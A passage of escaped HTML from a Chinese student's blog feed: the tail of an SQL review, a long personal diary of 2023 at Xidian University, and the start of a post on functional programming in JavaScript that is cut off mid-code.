CASCADE\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"空值\"\u003e\u003ca href=\"#空值\" class=\"headerlink\" title=\"空值\"\u003e\u003c/a\u003e空值\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exxx \u003cspan class=\"keyword\"\u003eIS\u003c/span\u003e [\u003cspan class=\"keyword\"\u003eNOT\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eNULL\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e","url":"https://mxts.jiujiuer.xyz/2024/01/15/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/db-review/"},{"title":"2023这一年","time":"2023-12-31T12:30:31Z","content":"\u003cp\u003e时间过得真快啊。一转眼已经过去5\u0026#x2F;8个大学了。\u003c/p\u003e\u003chr /\u003e\u003cp\u003e时间过得真快啊。一转眼已经过去5\u0026#x2F;8个大学了。\u003c/p\u003e\u003cspan id=\"more\"\u003e\u003c/span\u003e\u003cp\u003e记得去年这个时候,我还是和同学在语音里闲聊着,一起等着跨年。然后,2023,就在我们几个的闲聊中拉开了序幕。比较幸运的是,放开之后,没啥大的折腾,nCov-19终于慢慢销声匿迹了。还好,终于能有个比较正常的大学生活了。\u003c/p\u003e\u003cp\u003e冷清的窗外,忽的传来几声烟花爆裂的声音,提醒着我,这一年确实是过去了。家里只有父母和奶奶,静悄悄的。大人们都早早睡下了,毕竟还要工作。深冬的寒夜里我依旧在思考,但又不知道在想什么。或许只是借助思考打发孤独罢了。\u003c/p\u003e\u003cp\u003e哦对了,去年那会差点喜提新机:跟某同学去完市图书馆之后,回家放东西的时候手没拿稳直接drop it了。还好机器主体没啥问题,就是屏幕漏液痛失360元。不过当时脑子一抽打开2077看了下效果,嗯,更沉浸了。\u003c/p\u003e\u003ch2 id=\"一,二月\"\u003e\u003ca href=\"#一,二月\" class=\"headerlink\" title=\"一,二月\"\u003e\u003c/a\u003e一,二月\u003c/h2\u003e\u003cp\u003e过年前还跟哥们出去浪了一会,顺便被一个南科大的哥们请恰了一顿饭。毕竟帮人家搞定了课程大作业确实挺不容易的,就是不知道这孩子有啥想不开的,一个学金融的非要选Java……反正逛的是挺爽的:顶着刚疫情还没恢复的身子去爬山差点没给我爬入土了。后面几天有一天在发小家里聊到好晚,还带了一袋子自己炸的薯条分而啖之。他很喜欢米家的游戏,\u003cdel\u003e倒是跟我刚好相反\u003c/del\u003e反正跟原切割了。不过这不重要,反正见面的话题永远聊不完:两个天差地别的专业,聊啥都是新鲜的;更重要的是,还好现在远没到拉家常的年纪,我们暂且都还是比较有趣的人。\u003c/p\u003e\u003cp\u003e转眼就是过年。现在春节用春晚作为背景音的都很少了,拜完年串完门,烧纸的烧纸,上坟的上坟。村子里的人是一年比一年少,有些房子变新了,也变冷清了;有些房子门前已经满是杂草,无人打理许久了。偶尔请些亲戚来家里做客才能稍微驱逐些寂寥,有点小孩就更热闹了——可惜,现在他们对于手机更感兴趣。\u003c/p\u003e\u003cp\u003e跟哥们一块看了《流浪地球2》,感觉比1提升不小。导演功力到位,华仔演技在线,剧情不错,就是叙事节奏有改进空间。在这之后,ChatGPT就第一次问世了。\u003c/p\u003e\u003ch2 id=\"三,四月\"\u003e\u003ca href=\"#三,四月\" class=\"headerlink\" title=\"三,四月\"\u003e\u003c/a\u003e三,四月\u003c/h2\u003e\u003cp\u003e机械性的春节后,该上学的上学,该上班的上班,一切照旧。去年没有考的试就放到了开春来考,队友想专心复习,顶不住压力,就放弃了美赛。临阵垮台,于是参加美赛的机会从三次变成了两次。如果想要给考研加点分的话,那就只能指望大三寒假咯。队友不太好意思,遂请我们吃了个\u003cdel\u003e散伙\u003c/del\u003e饭。想说些啥,但是也没啥好说的。那会的大学时间还有不少,机会也是。\u003c/p\u003e\u003cp\u003e到这里,节奏基本还行,但是对于大二下的恶毒我还是始料不及。三月,四月,又是期中考试,实验陆续开始。西电的传统是实验报告大多手写,于是免不了应付这些繁文缛节。加上课内作业,而且最重要的是,我还是选了最累的活法:打了一堆毛毛雨一般的竞赛。最忙的时候,手头同时有6,7个任务得搞定。\u003c/p\u003e\u003cp\u003e我发现我好像那个什么抖m,净喜欢给自己找罪受。\u003c/p\u003e\u003cp\u003e不过这些倒还好,属于是有惊无险地都干完了。真正难绷的事情才刚刚开始。虽然没有rx那么强的开发效率,但是我还是接下了同学拉我去做的烂摊子。那本来是个挺简单的vue+springBoot标准前后端项目,最后做的我怀疑人生,差点放弃前端。那项目我打5月接手的时候看了下需求,感觉多是多,但是能做——然后我就被另一个哥们封装的,小山包一样的屎山代码糊脸了。这个后面说。另外那段时间也把鸽了整一年的OJ拉出来重新写了,刚好能用上新学的东西,这会应该算是真正开始熟悉了Vue和Golang这俩现代开发语言的用法。\u003c/p\u003e\u003cp\u003e不得不提的还有大模型,人类史上用户量最快达到一亿的玩意,没有学术上的美感,有的只是空前庞大的恐怖算力,工业界的暴力美学所创造出的前所未有的奇迹——能力只有文字接龙,但是能力强到让许多人开始担心自己的饭碗,甚至有人认为它的智能快达到临界点了。\u003c/p\u003e\u003cp\u003e以及就是业余无线电能力测试。一晚上速通,拿上A证了。上了两年大学,好在应试能力留了一些。\u003c/p\u003e\u003ch2 id=\"五月\"\u003e\u003ca href=\"#五月\" class=\"headerlink\" title=\"五月\"\u003e\u003c/a\u003e五月\u003c/h2\u003e\u003cp\u003e5月是实验的谎言。一个月天天是实验,周周有实验报告要写。好在有几个能直接提交电子打印版的,借助历史的积淀秒了。不过实验本身也够占时间的,导致我错过了半个晒你祭(恼)。5.13早上当了会门口引导的志愿者之后,把俩\u003cdel\u003e二刺螈\u003c/del\u003e同学从隔壁瓜大领进去光了会,拍了几个coser,就被电子线路实验带走了。俩小时速通之后,展子还在,但是不剩啥节目了。事后同学表示,这Live神中神,特别是那个鼓手定得一批。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我:我tm在做实验没听到啊啊啊啊\u003cbr\u003e:你这辈子就是让实验给害了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e不过还好,4月还是3月喜提新哥们,还是意外盒到的酷安群u(甚至刚好还是个潜在越共),5月初有长安THO,就给他拽过去逛车万展子了。好像之后还陪着他娶了个新旧电脑(无误),他的古董电子产品收集喜加一。也是他的影响让我开始怀疑我对算力需求的必要性了。也是月初,发小还去上海逛cp29(还是多少)了,买周边就花了小1k。只能感叹某些二次元的行动力真的强,一个人从西安跑上海还跟特种兵似的,基本所有重要地方都打卡过了。\u003c/p\u003e\u003cp\u003e这个月还跟浪潮的朋友们出去团建了。19级的学长到这个点也基本都未来既定了,值得庆祝的是学长们去向还都相当可以。西电保研清华的老学长还来回来逛了一圈,可惜比较社恐也就没聊几句。感叹一句,浪潮这些学长水平真的都好强啊。\u003c/p\u003e\u003cp\u003e还有一回是得知西安的亲戚住院了,很震惊,顶着大雨跑雁塔去看望了。越发感叹身体的重要性,尤其叔叔他上的班还是长期熬夜那种,很伤身体。于是之后也下定决心少熬夜\u003cdel\u003e但是只有一点点\u003c/del\u003e。巧的是这地方刚好离你电老校区不远,就顺便跑过去逛了一圈。刚开始在家属区里溜达了半天,最后才找着进去学校的路。刚好去听了个EDA公司的校企合作实验室揭榜,顺便第一回线下见到了你电的校长\u003cdel\u003e之一\u003c/del\u003e。可惜的是去晚了,没白嫖到讲座送的礼盒。\u003c/p\u003e\u003cp\u003e后面雨突然特别大,打着伞都给你打一身溅射伤害那种,于是刚好趁这个时间逛了下你电的老图书馆。好像那种老楼都喜欢修得很高,这玩意外边看着还行,里边有足足十一层。看了下都是些研究生学长学姐在自习\u0026#x2F;看书\u0026#x2F;写论文,座位倒是比南校区多很多。随机roll到本Hadoop的书看了下,然后就下楼了。\u003c/p\u003e\u003cp\u003e在雨里边看着路边树上挂的一排诗歌的牌子,还有你电老校区的老苏式宿舍楼,感觉有种回到小时候的感觉。\u003c/p\u003e\u003cp\u003e不过雨太大了,于是跑到食堂去了。老校区食堂还不错,便宜大碗。然后也不知道怎么突然想起来,也是去年这几天,袁隆平院士走了。然后出门看着雨都变了个滋味。\u003c/p\u003e\u003ch2 id=\"六月\"\u003e\u003ca href=\"#六月\" class=\"headerlink\" title=\"六月\"\u003e\u003c/a\u003e六月\u003c/h2\u003e\u003cp\u003e之后就是复习,考试了。这之间学校里边“报复式”地办了不少活动,比如什么大学生音乐节。完事之后也到六月了,刚好也到19级老东西们爆金币的时候了。说起来去年这会刚送走小梦,现在看电表还在维护,真是感慨万千。当时学原生安卓开发,还是向小梦哥哥请教的很多问题。现在学长已经在字节干了快一年半两年了,希望一切都顺利吧。\u003c/p\u003e\u003cp\u003e另外就是,把原来那个B450的AMD平台板U条套装换成了RD450X的Intel Xeon平台的板U套装了。不过因为电源输出端口不够的原因,买了个电源在路上还没运回来。一直拖到下个月才装好。不过有一说一,双路E5真的爽啊,特别是拿来跑各种数据挖掘算法的时候,那速度真的吊着普通消费级处理器打,12700H要跑十几分钟的k-means聚类,这玩意只要几十秒;编译的时候\u003ccode\u003emake -j56\u003c/code\u003e更是爽的一批。\u003c/p\u003e\u003cp\u003e考试完了之后也算是去逛一逛,光速约了一堆哥们(重大失误,约人的时候尽量少点,特别里边不少都不是特别熟的人)跑去爬华山。上山的过程嘛很爽,跟几个好朋友一路边吐槽边往上走,晚上山上风景倒是也别有风味,尤其是看着一路上一条条光点连成的线条,以及山脚下\u003cdel\u003e万家\u003c/del\u003e灯火,有种说不出来的震撼。几个哥们爬到中峰就爬不动了,我倒是莽上去东峰了,就是半路上两条腿轮流抽筋实在有点酸爽。\u003c/p\u003e\u003cp\u003e最后倒是亲眼看到了完整的日出,太阳从一个小点慢慢变得越来越红火,越来越大,感觉一晚上的努力也值了。\u003c/p\u003e\u003cp\u003e下山实在不想说了,建议是千万别人多的时候爬山,真的够你喝一壶了,氪金都不能速通的那种痛(虽然主要是因为一晚上没睡觉)。乱七八糟的事让这事虎头蛇尾地结束了,也从此对华山这地方有了ptsd。这种景区建议最好先对周边了解清楚之后再去。\u003c/p\u003e\u003cp\u003e然后回了学校,就是为期一周的军训。大学的军训比印象中高中那会红河谷那次水多了,基本就是每天上午8点集合,站一个上午军姿\u0026#x2F;学走正步\u0026#x2F;整队之类的。教官和我们同岁,所以也比较仁慈\u003cdel\u003e放水\u003c/del\u003e。最后军训完了之后,也刚好到暑假了。\u003c/p\u003e\u003ch2 id=\"暑假\"\u003e\u003ca href=\"#暑假\" class=\"headerlink\" title=\"暑假\"\u003e\u003c/a\u003e暑假\u003c/h2\u003e\u003cp\u003e跟好哥们去网安大楼天台上溜达了一圈,风景真的不错。夕阳刚好,空无一物的天空让人心情无比平静,很大程度上也排解了之前的糟心事的影响。小赵真的是个很好的人,希望他未来能被世界温柔以待吧。后来也跟他合作整过一个小项目,我写前端,他做硬件。不得不说,这还是我第二次做一个这么贴近硬件的项目。可能以后遇到硬件方面的需求的话,我真的能用一个esp32整出不少活吧。\u003c/p\u003e\u003cp\u003e之后几天,跟隔壁瓜大两个哥们线下联机打了一段时间的MC Java原版生存。这游戏也陪着我走过了起码快十年了吧?小学玩过,初中玩过,高中也跟舍友玩过,大学了还在玩,可能这就是开放世界的魅力吧。当然,我们三个彩笔打了两三天还没通关,光停下来造房子造基地了,末地门都还没找到呢。趁着这段时间,顺便逛了一圈\u003cdel\u003e瓜大\u003c/del\u003e东大村,评价是比你电周边丰富多了。以及西工大校内,虽然学校地方比较偏僻,但是瓜大的校内生活似乎也还行。特别是同学宿舍晚上基本不关门这点薄纱你电,以及瓜大的风景真不是吹的,到处都是好机位,依山傍水,出图书馆就是四时之景。而且瓜大的图书馆真的大,里边甚至有商超那种大电动扶梯,一堆自习位置,靠窗的位置学累了还能看会风景。另外关于这点,彦的自习常用位置是四个书架合围的一个小空间里边。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e:你是不喜欢看风景吗\u003cbr\u003e彦:学习要讲究一个氛围\u003cbr\u003e:嗯所以呢\u003cbr\u003e彦:你想想mc里边附魔台周围都要围一圈书呢\u003cbr\u003e:合着你给你自个附魔呢是\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e中间有一回回学校拿电脑(mc果然得几个人联机才有意思),顺便带他俩在学校里(再次)溜达了一圈。中间带他俩去部室打了会sdvx差点给主线任务忘了\u003cdel\u003e音批是这样的\u003c/del\u003e。那之后带他们rua了会大鹅,以及在B楼底下不定期出没的黑子,拿上电脑恰了个饭,就打车回瓜大了。然后几个彩笔被循声守卫轮流锤死不知道多少次。之后不知道为啥瓜的\u003cdel\u003e唐\u003c/del\u003e航小天莫名其妙火了,然后莫名其妙跟你电的\u003cdel\u003e唐\u003c/del\u003e西小电联动了(?)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cdel\u003e唐\u003c/del\u003e航小天可爱捏\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e另外就是另一个鸽子精那会也从哈尔滨回来了。摇了几个朋友出去小聚了一下。后面基本就只剩下天天写代码肝外包项目了。哦对,还有偶尔去学校游泳池游个泳啥的。顺带还带着一个同学大概学会了怎么在水里扑腾(\u003c/p\u003e\u003cp\u003e这个假期最主要的就是俩外包项目,硬是把github commits从不到300刷到了600+。接了俩外包,在学校干了俩月。靠着外包挣的一点钱给整了个平板,升级了服务器,整了个便携屏,给笔记本升级到32+8的抽象内存组合了。8月份,同学来打电赛省赛,还迎带同学溜达了一圈。那阵子雨天挺多的,一阵秋雨一阵凉,感觉西安这地方只有夏天跟冬天俩季节。中间回家了一趟,好在家里没啥大问题。在宝鸡拉着同学出去溜达了一圈,比较离谱的是他们见到了个核酸检测点之后集体发电,不存在的记忆增加了.jpg\u003c/p\u003e\u003cp\u003e后面回了西安之后,还遇到高中同学来西安逛。俩人聊天聊了一个通宵。回去之后不知道咋想的突然就想给电脑换个Arch\u003cdel\u003e然后就找到目前最理想的系统了\u003c/del\u003e。\u003c/p\u003e\u003ch2 id=\"九月\"\u003e\u003ca href=\"#九月\" class=\"headerlink\" title=\"九月\"\u003e\u003c/a\u003e九月\u003c/h2\u003e\u003cp\u003eISC招新,感受到自己已经确实是个大三老东西了。趁着开学听了好多校招会,虽然本科大概率没有直接就业的想法。比较幸运的一点是,小米的校招会上还抽到个Xiaomi Sounds Pro。可惜不是声学发烧友,倒是让几个好哥们爽了一回。\u003c/p\u003e\u003cp\u003e月中跟哥们去看了奥本海默,确实是好片,没别人说的那么难懂,就是太过沉迷剧情,两个人三回标题都没拍下来打卡,最后只拍下来个龙标,笑死。后来跟他速通了下西安理工金花校区,苏联老楼给我留下了极其深刻的印象\u003cdel\u003e有种回家的错觉\u003c/del\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e回来没两天就是湖人哥一战成名的时刻了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e后面就是第一回参加开源社区活动,壮着胆子讲了回Linux,起码没翻车。顺便线下了好多酷安\u0026#x2F;OSC群的群u\u003cdel\u003e当然最后也是没逃过来自群u的盒打击\u003c/del\u003e。后一天去车万组活现场瞅了一眼,在放漫才,确实很有节目效果。\u003c/p\u003e\u003cp\u003e之后就是星铁\u0026#x2F;崩坏的啥活动,俩哥们跑去线下打卡来着,顺便又聚了一回,又三个人速通了回西安理工新校区。一个崩批一个铁批行动力是真强,晚上嗯走七个打卡点打卡,我在干啥,我那会好像在边走边在给电脑装Arch\u003cdel\u003eArch To Go\u003c/del\u003e。顺便几个人吐槽了一波西安依托的地面交通。\u003c/p\u003e\u003cp\u003e月底,那个外包项目也因为各种问题凉了。说实话心里很不是滋味,并且对于这种任务之后心里都没了底。说不上来是好是坏。\u003c/p\u003e\u003cp\u003e25号,一个20级研究生学姐跳了,在此之前西电好像已经十几年都没跳的了。不知道是什么让她做出了这样的选择。对她的行为我不应也不想做出评价,对于这个结果还是希望逝者安息吧。\u003c/p\u003e\u003ch2 id=\"十月\"\u003e\u003ca href=\"#十月\" class=\"headerlink\" title=\"十月\"\u003e\u003c/a\u003e十月\u003c/h2\u003e\u003cp\u003e国庆+中秋调休,回去家里参加了邻家姐姐的婚礼。后面又和几个同学在宝鸡的小地方到处乱逛了一回,作为国庆的收尾。\u003c/p\u003e\u003cp\u003e这个月后面的就是音乐会,迎新歌会之类的。活动确实不少,还跟高中来打比赛的学弟们见了回面,时间真快啊。\u003c/p\u003e\u003cp\u003e后面14号是浪潮的迎新晚会,15号还有你电的百团大战。现场特别热闹,酷安群的抽象海报和那张顶针专辑的关注度挺高的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e早知道,还是原道.jpg\u003cdel\u003e触发悔恨之泪\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e后面跟着彦和辰出去溜达,没处去的时候\u003cdel\u003e骗\u003c/del\u003e带他俩来打maimai,俩人打得倒是不亦乐乎。后面看到一个用币随机抽天子手办的机器之后就走不动道了,把白嫖的币用完也没拿到qaq\u003c/p\u003e\u003cp\u003e这个月也发布了不少手机平板之类的。米14发布那天同学还拉着我去线下摸了真机器,还有华子那个特别大的平板冲击力也不小。\u003c/p\u003e\u003ch2 id=\"十一月\"\u003e\u003ca href=\"#十一月\" class=\"headerlink\" title=\"十一月\"\u003e\u003c/a\u003e十一月\u003c/h2\u003e\u003cp\u003e这个月也挺魔幻的,以一个重大删库事件为开端。不过实际影响并没有那么大,毕竟开源什么时候死过。\u003c/p\u003e\u003cp\u003e中间去电信的陕西主干IDC机房参观过。现代化的工业美学,真的帅的顶天。包括垂直化冗余能源设计,应急热交换塔(真的是个塔),特大号的备用发电机组机房和热交换机组机房,帅惨了。反倒是核心的业务机房,特别规整,\u003cdel\u003e环境优美\u003c/del\u003e倒是没啥特别突出的,不过单就这一间机房的装机量以及那个密堆叠,加上天花板走线,真的帅。这机房的数据吞吐量更是恐怖,出口时延\u0026lt;2ms,出口带宽16.4T(没见标注的单位是啥,应该是bps吧)。,\u003c/p\u003e\u003cp\u003e比较难绷的是介绍企业文化的时候,听到那个半部电台起家还以为在讲你电校史呢。另外比较惊喜的就是展示产品的时候,一个陈列墙上挂了很多相当大时间跨度的移动通信终端,甚至还有大哥大。回了学校之后刚好赶上各种国企的校招,就去凑了个热闹。\u003c/p\u003e\u003cp\u003e之后就是贴吧高校头像异变事件了。隔壁瓜大唐小天火遍全网,你电唐小电也一触即发。最后俩cp学校吧头官宣联动了。\u003c/p\u003e\u003cp\u003e月中,籽岷的工作站组装好了,然后子建就顺道来西安送东西+装机\u0026#x2F;溜达了。刚好有人电脑有问题,子建就把家伙拿上了。来都来了不拿个电脑顺带清清灰说不过去,但是因为服务器全塔实在背不动就只拿了俩笔记本。先给兆廷把液金换成了7958sp,然后某人就得液金ptsd了。更难绷的是兆廷电脑的热管因为玄学的剪切力弯了,不过无伤大雅,某人也没时间倒腾这问题了。\u003c/p\u003e\u003cp\u003e当天晚上我们几个还是继续推主线任务,给籽岷把他的工作站部署好顺带给一群人的电脑清灰+换硅脂\u003cdel\u003e反正7958sp又放不住不用白不用\u003c/del\u003e。但是离谱的是遇到玄学问题,明明子建拿来的时候已经给系统+专业软件都装好了,结果突然不能开机了。没办法,我跟子建就轮流干清灰\u0026#x2F;debug的活。最后整了半天没找出来问题,灰倒是都清完了。更离谱的是我俩一堆WinPE一个都进不去,然后我脑子一抽打算进我U盘上自带的Arch LiveCD试试。感谢Linux启动日志,我很快就把问题锁定到那个蓝盘上了。果然,替换法试了下,那个蓝盘莫名其妙挂了。\u003c/p\u003e\u003cp\u003e完事之后已经快早上五六点了,本来说完事打打mc呢也没时间了,睡吧。好在我们仨在东大村找了个宾馆住了一晚上,休息的也还行。第二天起来让籽岷换个固态,另一个哥们则是完全被整麻了。不过好在之后换了盘之后,远程指导同学分区装系统打驱动,一遍过。\u003c/p\u003e\u003cp\u003e事后彦看着我们当晚的工作场面照,评价说我们跟一群准备攻打瓜大的黑客一样。没绷住。另外就是被霓虹的场子做工震撼到了,那个松下的机子我第一回见到那么分体式的主板,而且也是我继G15之后见到的第二个风扇装主办背面的笔记本。换硅脂的时候我如履薄冰战战兢兢生怕抠的太用力给晶圆一块带走了,因为这东西硅脂已经彻底硬化了,估计是从16年到现在就没换过硅脂。好在有惊无险地清理完了。下午带子建在瓜大逛了一下午,以及中间难绷的是彦差点被他们点名拿下一血,好在没事。刚好这回来的时候他们在修飞机展示区,虽然不太了解军事但是这堆真货是真的帅。\u003c/p\u003e\u003cp\u003e以及后面清完灰之后发现手上这个松下的本子安静过头了,本来想赞扬下子建清灰手法高超,直到我拆开机器之后发现:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e哥们忘插风扇电源了,那能不安静吗.jpg\u003cbr\u003e狠狠拷打.jpg\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之后就是各种上机\u0026#x2F;实验了,给我时间全占完了基本,导致瓜大的车万展子咱都没去成。哦月底还感冒了一回,不过还好是普通感冒,来得快去得也快,可能也是因为这学期报的散打强度比较大提升了免疫力?月末的电子线路课设差点给我带走,不过还好有惊无险过了。\u003c/p\u003e\u003cp\u003e29号酷安群线下k70发布会,印象最深的不是手机而是chi哥的发型。\u003c/p\u003e\u003ch2 id=\"十二月\"\u003e\u003ca href=\"#十二月\" class=\"headerlink\" title=\"十二月\"\u003e\u003c/a\u003e十二月\u003c/h2\u003e\u003cp\u003eISC这个月开了几次讲座,有我提议的Linux基础,还有AI那边发起的机器学习概论。质量都不错,场面也挺热闹的。\u003c/p\u003e\u003cp\u003e顺便几次差一点线下了Dimole,不过这孩子好像挺多灾多难的,希望人没事.jpg\u003c/p\u003e\u003cp\u003e然后月初带家里人来学校里逛了回,月中\u003cdel\u003e被大一学弟带\u003c/del\u003e带大一学弟打了星火杯。\u003c/p\u003e\u003cp\u003e12.15 今年的第一场雪。\u003c/p\u003e\u003cp\u003e12.16 三刷六级,微原实验,以及生日。\u003c/p\u003e\u003cp\u003e12.18 23:59 第一次被地震警报吵醒,希望甘肃同胞平安。\u003c/p\u003e\u003cp\u003e12.19 和好朋友去设了台,算是半个HAM了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e没想到的是西电湖人的落幕带来的是西电冰人的出现,电专学子永远是会整活的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e月底出去跟朋友溜达了一次,圣诞节跟一个未知的朋友交换了礼物,忙了一个月的各种ddl,\u003c/p\u003e\u003cp\u003e12.30 跟同学出去溜达就当提前跨年了。先是和彦在香积寺里边做了一下午的光影猎手,然后和兆廷在师大万科恰了顿饭,时间真快。\u003c/p\u003e\u003cp\u003e月初很忙,月末也忙,忙忙碌碌的一个月。\u003c/p\u003e\u003chr\u003e\u003cp\u003e这篇流水账从28号开始写,到现在也刚好3天了,再过几个小时,人类又要庆祝自己小小的行星绕着恒星走过了一圈。年年如此,未来也将如此。\u003c/p\u003e\u003cp\u003e这个敲了半天的薄膜键盘,是我在高考完那个暑假买的,一个普通的键盘。它连上过我的老台式机,笔记本,以及现在这个松下笔记本,快三年了,它也老了:大部分按键因为写代码的摧残,已经被磨成了白色。左Shift也因为频繁使用,已经卡的吱吱嘎嘎的响。\u003c/p\u003e\u003cp\u003e看着键盘,想想我自己,好像也差不多。本科排课问题的摧残,jwc烂活的摧残,跟甲方搏斗的摧残,在某些方面我也逐渐迟钝起来,行动力也不如从前。似乎高考前那阵子是我行动力最强的时候,一个人凭着兴趣就写了快四千行代码,给自己和朋友们做了个小玩具。或许这也是一种磨损?\u003c/p\u003e\u003cp\u003e有时候真觉得自己老了,写不动了。不过这两年写的其实也并不少,甚至就那个因为各种原因烂尾的项目,我提交的代码可能都有几万行。相比于几年前,我确实进步了不少:纯粹依靠自己一个人做到的东西,上限越来越高了。特别是视野开拓了不少,现在能用很多学科的知识去解决实际问题了。不过最重要的还是热情,这几年挖过不少坑,甚至还在酷安发过自己编写的应用,给开源社区贡献了一个博客聚合系统的实现,也被收到了水表里边,作为博客星球的后端,在讲座上讲过两次技术相关的内容。竞赛也打了不少,奖也是。\u003c/p\u003e\u003cp\u003e不过,即使面对天堑我也不想停下,因为我就是想做到我想做的事。和自己和解能解决很多问题,但是我不想,只因为我不服这个自己。所以我一次次挑战自己。即使陷入迷惘,也不想停下步伐,因为这比找不到路更可怕。\u003c/p\u003e\u003cp\u003e现在已经是晚上了,冬天的太阳落山早,天已经黑了。舍友一个回家了,一个出去跨年了。宿舍只剩我一个,宿舍空荡荡的,也没开灯。对着空荡荡的Vim敲了半天,心里有种说不上来的孤独。这算不算是一种孤独编程?(笑)\u003c/p\u003e\u003cp\u003e还没感叹完呢,那几个哥们已经在商量着连麦跨年了。白孤独了(x\u003c/p\u003e\u003cp\u003e变的倒是很多,不变的也挺多。至少在外边,还有这些狐朋狗友陪着我,不是吗?\u003c/p\u003e\u003chr\u003e\u003cp\u003e你好,2024。有什么展望的话,希望明年写流水账的时候,能来点更精彩的。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/2023%E8%BF%99%E4%B8%80%E5%B9%B4/"},{"title":"函数式编程范式","time":"2023-12-11T14:00:41Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e对于大部分场合而言,优化不需要过早,到了需要优化的时候自然会意识到必要性。过早的优化只会带来负担。\u003c/p\u003e\u003cp\u003e最近JS写多了,都快不会写算法题了。其实不怪JS,只是绝大多数具体业务的实现一般很少需要用到什么重要算法。不过我遇到的问题是代码写烦了:这里写一坨那里写一坨,写一些忘一些,最后就成了一大坨,看着多但是实际功能并没多少。这让我想到了代码表达力的问题,于是我开始寻找方法去提高代码的表达力:写更少的代码,实现更多的功能。代码变得紧凑对于检查和维护来说也能降低一部分负担。\u003c/p\u003e\u003cp\u003e于是,我自然而然地正式接触到了函数式编程。对于当前的需求,这似乎就是答案。\u003c/p\u003e\u003ch2 id=\"介绍\"\u003e\u003ca href=\"#介绍\" class=\"headerlink\" title=\"介绍\"\u003e\u003c/a\u003e介绍\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e下面这段是我和LLM一块写的\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e函数式编程(Functional Programming)是一种编程范式,区别于命令式编程关注指令和操作,函数式编程更加关注函数本身,函数的组合、副作用,流程和代码可读性。函数作为一等公民,基本上可以在任何位置上出现。它关注函数的施用,而非具体操作的实现。这种编程风格强调将数据抽象为函数,将函数作为基本构建块来构建复杂的计算。函数式编程的优势包括:可读性、可维护性、可重用性等。\u003c/p\u003e\u003cp\u003e首先为啥叫函数式,因为函数就是核心,一切围绕函数展开。刚上手时,我对它的印象就是\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata.\u003cspan class=\"title function_\"\u003emap\u003c/span\u003e(...).\u003cspan class=\"title function_\"\u003efilter\u003c/span\u003e(...).\u003cspan class=\"title function_\"\u003ereduce\u003c/span\u003e(...)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.\u003cspan class=\"title function_\"\u003eforEach\u003c/span\u003e(...)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样的。只用这几个函数对数据进行操作就能完成大部分数据操作,这对于处理各种返回值得到裁剪\u0026#x2F;过滤过的目标数据而言,十分高效简洁。在这两个例子里边,代码将数据处理作为一个流程对待,我们只需要描述\u003cstrong\u003e如何\u003c/strong\u003e处理这个数据源,以及处理的规则,其他的都无需我们参与。同样的需求,使用命令式编程,我们需要:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e processed=[]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;data.\u003cspan class=\"property\"\u003elength\u003c/span\u003e;i++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"variable 